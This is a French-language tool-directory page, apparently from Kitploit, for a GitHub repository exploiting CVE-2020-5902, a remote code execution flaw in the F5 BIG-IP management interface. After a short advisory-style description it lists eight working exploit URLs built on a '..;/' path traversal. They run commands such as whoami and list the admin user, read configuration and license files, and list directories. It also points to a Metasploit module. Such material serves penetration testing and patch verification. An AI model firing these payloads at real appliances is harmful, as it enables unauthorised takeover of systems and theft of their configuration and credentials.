Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-5902 — [CVE-2020-5902] F5 BIG-IP Exécution de code à distance (RCE) | Kitploit
Outils/GitHubGitHub/murataydemir/cve-2020-5902
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubmurataydemir/cve-2020-5902

CVE-2020-5902

[CVE-2020-5902] F5 BIG-IP Exécution de code à distance (RCE)

Voir le dépôt
215il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[CVE-2020-5902] Exécution de code à distance dans l'interface utilisateur de gestion du trafic (TMUI) F5 BIG-IP

Dans les versions BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 et 11.6.1-11.6.5.1, l'interface utilisateur de gestion du trafic (TMUI), également appelée utilitaire de configuration, présente une vulnérabilité d'exécution de code à distance (RCE) dans des pages non divulguées.

Cette vulnérabilité permet à des attaquants non authentifiés ou à des utilisateurs authentifiés, disposant d'un accès réseau à l'utilitaire de configuration via le port de gestion BIG-IP et/ou les adresses IP self, d'exécuter des commandes système arbitraires, de créer ou supprimer des fichiers, de désactiver des services et/ou d'exécuter du code Java arbitraire. Cette vulnérabilité peut entraîner une compromission totale du système. Le système BIG-IP en mode Appliance est également vulnérable. Ce problème n'est pas exposé sur le plan de données ; seul le plan de contrôle est concerné.

root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
root@kitploit:~
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

L'avis de sécurité original a été publié par F5 et vous pouvez y accéder ici
De plus, un module metasploit est disponible pour CVE-2020-5902 avec un classement Excellent. Vous pouvez trouver les codes Ruby du module metasploit pour exploits/linux/http/f5_bigip_tmui_rce.rb

Télécharger l’outil